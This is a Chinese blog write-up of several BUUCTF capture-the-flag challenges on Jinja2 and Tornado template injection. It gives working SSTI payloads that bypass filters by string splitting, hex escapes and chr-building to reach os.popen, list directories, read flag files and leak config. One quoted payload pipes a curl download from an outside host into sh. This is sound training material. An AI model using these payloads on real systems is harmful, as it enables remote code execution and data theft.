BUUCTF刷题十一道(12)SSTI专题一

文章目录

  • 学习文章
  • [Flask]SSTI
  • [GWCTF 2019]你的名字
  • [第三章 web进阶]SSTI
  • [pasecactf_2019]flask_ssti
  • [NewStarCTF 公开赛赛道]BabySSTI_One
  • [Dest0g3 520迎新赛]EasySSTI
  • [NewStarCTF 公开赛赛道]BabySSTI_Two
  • [NewStarCTF 公开赛赛道]BabySSTI_Three
  • [GYCTF2020]FlaskApp
  • [CSCCTF 2019 Qual]FlaskLight
  • [护网杯 2018]easy_tornado

学习文章

SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙

全部总结看最后一篇

[Flask]SSTI

在这里插入图片描述

?name={{().__class__.__base__.__sunclasses__()}}
找到子类

在这里插入图片描述

在这里插入图片描述
{{().__class__.__bases__[0].__subclasses__()[117]}}

在这里插入图片描述
在这里插入图片描述
目录下面都没有flag,看下环境变量

在这里插入图片描述
?name={{().__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']("env").read()}}

[GWCTF 2019]你的名字

尝试{{7*7}}执行报错
在这里插入图片描述

语法错误,尝试{%%}输出

在这里插入图片描述
{% set a="__init"~"__"%}{%print(a)%}
在这里插入图片描述
变量拼接

  • lipsum

    Generates some lorem ipsum for the template. By default, five paragraphs of HTML are generated with each paragraph between 20 and 100 words. If html is False, regular text is returned. This is useful to generate simple contents for layout testing.
    生成一些随机字符串

{%print lipsum['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['po'~'pen']("ls")['re'~'ad']() %}

在这里插入图片描述
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

在这里插入图片描述

[第三章 web进阶]SSTI

在这里插入图片描述
逐步输入发现每一步都没有过滤

{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}

在这里插入图片描述
环境变量提交了好几次flag居然不对…

翻找一下目录

在这里插入图片描述
{{x.__init__.__globals__.__builtins__.__import__('os').popen('cat app/server.py').read()}}

[pasecactf_2019]flask_ssti

测了{{7*7}}正常,发现__class__过滤
在这里插入图片描述
变量拼接
在这里插入图片描述
测试发现下划线、点、单引号过滤

双引号+编码绕过

在这里插入图片描述
\x5f\x5fclass\x5f\x5f

#构造__class__
{{()["\x5f\x5fclass\x5f\x5f"]}}# 找子类
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}128

在这里插入图片描述


#获取全部变量
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}# popen命令执行
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}# 查看app.py
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /app/app*")["read"]()}}

import random
from flask import Flask, render_template_string, render_template, request
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''def encode(line, key, key2):return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""os.remove("/app/flag")

看一下config拿出加密的flag,再异或一下即可还原

{{config}}


import randomdef encode(line, key, key2):return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))flag='-M7\x10wI781Rwgr\x0eH\x08hQ(DL\x13_\x17{9\x044\x02^\x17^-\x01/,Fm\x11\x0fNG'print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))//flag{856cbe49-732f-4d9a-b2dd-2a68342b570a}

[NewStarCTF 公开赛赛道]BabySSTI_One

测试发现过滤关键字,但是特殊符号中括号、双引号、点都能用

可以考虑拼接或者编码,这里使用拼接


?name={{()["__cla"~"ss__"]}}

在这里插入图片描述
找子类


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()}}

在这里插入图片描述
在这里插入图片描述
直接命令执行


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ls")["read"]()}}

在这里插入图片描述
环境变量里面没有,还是输出app.py

?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ca"~"t"~" "~"app*")["read"]()}}

from flask import Flask, request 
from jinja2 import Template 
import re 
app = Flask(__name__) 
@app.route("/") 
def index(): name = request.args.get('name', 'CTFer') if not re.findall('class|base|init|mro|flag|cat|more|env', name): t = Template("Welcome to NewStarCTF, Dear " + name + "Try to GET me a NAME") return t.render() else: t = Template("Get Out!Hacker!") return t.render() 
if __name__ == "__main__": app.run()

根目录下

在这里插入图片描述


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("tac /fla*")["read"]()}}

在这里插入图片描述

[Dest0g3 520迎新赛]EasySSTI

用户名处ssti

在这里插入图片描述
burp看一下过滤
在这里插入图片描述
在这里插入图片描述

红色部分过滤,空格也过滤
学习大佬的博客,进行解读,师傅太强了…
buuctf:Dest0g3 520迎新赛 web EasySSTI-安河桥北2025

username=
{%set%0crdea=dict(re=a,ad=a)|join%}						# read
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}				# popen
{%set%0cget=dict(get=a)|join%}							# get
{%set%0cso=dict(o=a,s=a)|join%}							# os
{%set%0copp=dict(po=a,p=a)|join%}						# pop
{%set%0cindex=dict(index=a)|join%}						# index
{%set%0cn=dict(n=a)|join%}								# 字符n
{%set%0cu=dict(u=a)|join%}								# 字符u
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}		# 数字3
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}		# 数字2
{%set%0cone=three-two%}									# 数字1
{%set%0cfive=three%2btwo%}								# 数字5
{%set%0csix=three*two%}									# 数字6
{%set%0cfou=five-one%}									# 数字4
{%set%0cnine=three*three%}								# 数字9
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}	# 下划线
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}		  # globals
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}	# 空格
{%set%0cc=dict(chr=a)|join%}							# c=chr函数
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}			# getitem
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}		  # 单词builtins
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}		# 对象builtins
{%set%0cshiz=five*nine%}								# 数字45
{%set%0cjian=buii|attr(get)(c)(shiz)%}					# 符号-
# {{lipsum.__globals__.__builtins__.get("chr")(45)}}    # 用chr获取字符
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%} # 符号竖线
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}		# 斜杠
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}		# 反斜杠
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}				# 点.
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}			# 单引号
{%set%0caa=dict(curl=a)|join%}							# aa=curl
{%set%0cab=dict(xss=a)|join%}							# ab=xss
{%set%0cpt=dict(pt=a)|join%}							# pt=pt
{%set%0caaaa=dict(aaaa=a)|join%}						# aaaa=aaaa
{%set%0ctr=dict(tr=a)|join%}							# tr=tr
{%set%0cd=dict(d=a)|join%}								# d=d
{%set%0cr=dict(r=a)|join%}								# r=r
{%set%0csh=dict(sh=a)|join%}							# sh=sh
{%set%0ccmd=(aa,space,ab,dot,pt,xc,xiangang,aaaa,shuxian,tr,space,jian,d,space,yinghao,fanxian,r,yinghao,shuxian,sh)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}&password=2

思路是,


1. 通过构造数字,
2. 使用过滤器attr获取属性
3. 再通过lipsum获取builtins的内置函数chr
4. chr结合数字即可获取对应字符
5. 最终各个变量拼接命令执行

我就用麻烦一点的方法手动执行命令吧

{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0cls=dict(ls=a)|join%}
{%set%0ccmd=(ls)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}

换行替换为空即可
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0ccat=dict(cat=a)|join%}
{%set%0cflag=dict(flag=a)|join%}
{%set%0ccmd=(cat,space,xiangang,flag)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

burp测一下过滤哪些

在这里插入图片描述
过滤了这些内容,可用如下

在这里插入图片描述
尝试十六进制编码绕过
在这里插入图片描述


?name={{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}

在这里插入图片描述
查看子类


#{{()['__class__']['__base__']['__subclasses__']()}}
{{()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()}}

在这里插入图片描述
在这里插入图片描述
直接触发连招吧


name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}#    {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls')['read']()}}

在这里插入图片描述

flag在根目录下


?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls /')['read']()}}?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad')['read']()}}

在这里插入图片描述
在这里插入图片描述

[NewStarCTF 公开赛赛道]BabySSTI_Three

在这里插入图片描述
比上一个多过滤一个下划线、base【图里面base502了】

{{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}

在这里插入图片描述

?name={{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}

在这里插入图片描述

[GYCTF2020]FlaskApp

一个加解密界面,加密输上去直接变base64,试一下解密能不能输{{7*7}}的base64编码

在这里插入图片描述
在这里插入图片描述
有检测

试一下编码+中括号


{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}}

在这里插入图片描述

{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()}}

编了半天发现不编码也能行…页面不回显有哪些类,记得base64编码payload

    页面没有回显时#命令执行:{% for c in [].__class__.__base__.__subclasses__() %}#先通过for循环根据模块名寻找符合要求的模块{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}#如果找到该模块就进行后续的函数操作{% endif %}{% endfor %}# 结束判断结束循环#文件操作    

直接命令执行不大行,看一下app.py源码过滤了什么

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述


class NameForm1(FlaskForm):text = StringField('BASE64解密', validators=[DataRequired()])submit = SubmitField('提交')def waf(str):black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request","subprocess", "commands", "socket", "hex", "base64", "*", "?"]for x in black_list:if x in str.lower():return 1

关键词过滤,拼接绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('id').read()}}{% endif %}{% endfor %}

在这里插入图片描述

根目录下有flag,读的时候记得绕过flag过滤

在这里插入图片描述

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('cat /this_is_the_fl'~'ag.txt').read()}}{% endif %}{% endfor %}

在这里插入图片描述

[CSCCTF 2019 Qual]FlaskLight

之前写了可能不太会,现在看下
在这里插入图片描述
在这里插入图片描述
get传参search

在这里插入图片描述
有反应
这道题''._class__.__base__不是object类,而是<type 'basestring'>
两次base才是object
''.__class__.__base__.__base__

在这里插入图片描述
找子类


{{().__class__.__base__.__subclasses__()}}

在这里插入图片描述
没有os,有catch_warnings
在这里插入图片描述
但是好像有过滤,怎么输都返回500,看了前辈的博客

BUUCTF SSTI模板注入小结(持续更新)-CN天狼

要拼接绕过

{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('dir').read()}}

在这里插入图片描述
flag在flasklight目录下


{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('cat /flasklight/coomme_geeeett_youur_flek').read()}}

[护网杯 2018]easy_tornado

render提示这道题是ssti,但是在文件名以及文件hash处进行尝试都报错,发现msg=ERROR,此处进行尝试才发现注入点
在这里插入图片描述

在这里插入图片描述

burp一跑发现大部分符号都被过滤了…

md5(cookie_secret+md5(filename))

需要找到cookie_secret就知道filehash是什么了,

在 Tornado 中,handler.settings 是一个字典,用于存储应用程序中设置的各种配置项和参数。在 Tornado 中,通常会将一些应用程序的配置信息存储在 settings 字典中,以便在处理请求时可以轻松地访问和使用这些配置。

import tornado.ioloop
import tornado.webclass MainHandler(tornado.web.RequestHandler):def get(self):self.set_cookie("user", "John", expires_days=1)self.write("Cookie is set.")def make_app():settings = {"cookie_secret": "mysecretkey"  # 设置 cookie_secret}return tornado.web.Application([(r"/", MainHandler),], **settings)if __name__ == "__main__":app = make_app()app.listen(8888)tornado.ioloop.IOLoop.current().start()

cookie_secret放在settings里

在这里插入图片描述

bdbb04e0-aa35-4070-83ee-a5320f53da36

得出最终的filehash为88a5e76c8f5f3b15f4fa3219c20c6b2e
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/803095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网易云歌曲评论抓取

网易云歌曲评论爬取 步骤1.找到一首歌曲2.按下F12键打开开发者模式,对其进行抓包3.查找获得评论数据的接口4.对获得评论数据接口进行分析5.构建加密函数方法一方法二运行结果全部代码使用Js文件只使用python新的代码小结与展望这次的任务是获取网易云音乐下面的评论,涉及的知…

前端ocr技术:electron+vue3中使用tesseract插件识别图片中字符

同学们可以私信我加入学习群&#xff01; 正文开始 前言一、electron各种csp问题二、试用插件总结 前言 项目需要ocr技术识别图片中的中文字符&#xff0c;本来这部分是后端的工作&#xff0c;但是因为各种原因&#xff0c;决定前端也做一个版本。 在ai时代之前&#xff0c;o…

基于spring boot的漫画之家系统

基于spring boot的漫画之家系统设计与实现 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&…

鲁棒线性模型估计(Robust linear model estimation)

鲁棒线性模型估计 1.RANSAC算法1.1 算法的基本原理1.2 迭代次数N的计算1.3 参考代码 参考文献 当数据中出现较多异常点时&#xff0c;常用的线性回归OLS会因为这些异常点的存在无法正确估计线性模型的参数&#xff1a; W ( X T X ) − 1 X T Y \qquad \qquad W(X^TX)^{-1}X^T…

力扣热题100_链表_19_删除链表的倒数第 N 个结点

文章目录 题目链接解题思路解题代码 题目链接 19. 删除链表的倒数第 N 个结点 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5], n 2 输出&#xff1a;[1,2,3,5] 示例 2&am…

数据结构—图

图的基本概念 图就是由顶点的有穷非空集合和顶点之间的边组成的集合。通常表示为&#xff1a;G(V,E)&#xff0c;其中&#xff0c;G 表示一个图&#xff0c;V 表示顶点的集合&#xff0c;E 表示边的集合。 顶点 图中的数据元素&#xff0c;我们称之为顶点&#xff0c;图至少有…

2024年3月电子学会青少年软件编程 中小学生Python编程等级考试一级真题解析(判断题)

2024年3月Python编程等级考试一级真题解析 判断题&#xff08;共10题&#xff0c;每题2分&#xff0c;共20分&#xff09; 26、turtle 画布的坐标系原点是在画布的左上角 答案&#xff1a;错 考点分析&#xff1a;考查turtle相关知识&#xff0c;turtle画布坐标系是在画布的…

KNN分类算法的MATLAB实现以及可视化

一、KNN简介 KNN算法&#xff0c;即K-Nearest Neighbors&#xff0c;是一种常用的监督学习算法&#xff0c;可以用于分类问题&#xff0c;并且在实际应用中取得了广泛的成功。 二、KNN算法的基本原理 对于给定的测试样本&#xff0c;KNN算法首先计算它与训练集中所有样本的距…

Vue - 你知道Vue2中对象动态新增属性,视图无法更新的原因吗

难度级别:中高级及以上 提问概率:55% 这道题面试官会这样描述,比如有这样一个场景,一个对象里有name属性,可以正常显示在页面中。但后续动态添加了一个age属性,通过调试打印发现对象里的age属性已经添加了上了,但试图中却没有展示出来,…

Axure案例分享—垂直手风琴(附下载地址)

今天分享的案例是Axure8(兼容9和10)制作的垂直手风琴 一、功能介绍 折叠或展开多个面板内容&#xff0c;默认为展开一项内容&#xff0c;点击任一收起的选项&#xff0c;展开面板&#xff0c;其他面板收起二、制作过程 原型是由矩形组件以及动态面板构成&#xff0c; 拖入一…

Collection与数据结构 二叉树(一):二叉树的性质与基本操作

1. 树形结构 1.1 概念1 (了解) 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。它具有以下的特点&#…

C语言单链表

1. 单链表的概念和结构 概念&#xff1a;链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表 中的指针链接次序实现的 。 链表与顺序表都属于线性表&#xff0c;顺序表在物理存储结构上是线性的&#xff0c;但是链表在物理存储结构上…

基于springboot+vue+Mysql的学习平台

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

Centos 下载地址

下载镜像地址&#xff1a; 1、官网地址&#xff1a;The CentOS Project 2、阿里镜像站&#xff1a;centos安装包下载_开源镜像站-阿里云 3、清华镜像源&#xff1a;Index of /centos/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 3.、CentOS搜狐镜像&#xff1…

Spark-Scala语言实战(13)

在之前的文章中&#xff0c;我们学习了如何在spark中使用键值对中的keys和values,reduceByKey,groupByKey三种方法。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢…

JavaSE:图书管理系统

目录 一、前言 二、内容需求 三、类的设计 &#xff08;一&#xff09;图书类 1.Book 类 2.BookList 类 &#xff08;二&#xff09;操作类 1.添加图书AddOperation类 2.借阅图书BorrowOperation类 3.删除图书DelOperation类 4.显示图书ShowOperation类 5.退出系统Ex…

【三十六】【算法分析与设计】综合练习(3),39. 组合总和,784. 字母大小写全排列,526. 优美的排列

目录 39. 组合总和 对每一个位置进行枚举 枚举每一个数出现的次数 784. 字母大小写全排列 526. 优美的排列 结尾 39. 组合总和 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不…

手写Spring框架

手写Spring框架 准备工作Spring启动和扫描逻辑实现依赖注入的实现Aware回调模拟实现和初始化机制模拟实现BeanPostProcessor (Bean的后置处理器) 模拟实现Spring AOP 模拟实现Spring Bean生命周期源码分析 Spring中两种生成代理的方式题外话 Spring事务相关Spring事务传播机制S…

C++——栈和队列容器

前言&#xff1a;这篇文章我们将栈和队列两个容器放在一起进行分享&#xff0c;因为这两个要分享的知识较少&#xff0c;而且两者在结构上有很多相似之处&#xff0c;比如栈只能在栈顶操作&#xff0c;队列只能在队头和队尾操作。 不同于前边所分享的三种容器&#xff0c;这篇…

HarmonyOS 应用开发-ArkUI(ets)仿“腾讯新闻”APP

一、效果演示 1、新闻列表页 2、新闻详情页、图片展示页 3、视频页 4、动态页 二、 流程图 –本来自定义了视频的控制栏的&#xff0c;但是发现VideoController()控制器的bug会导致控制器失效&#xff0c;所以没继续做。视频页先不搞了。 三、文件组织&#xff08;“我的页面…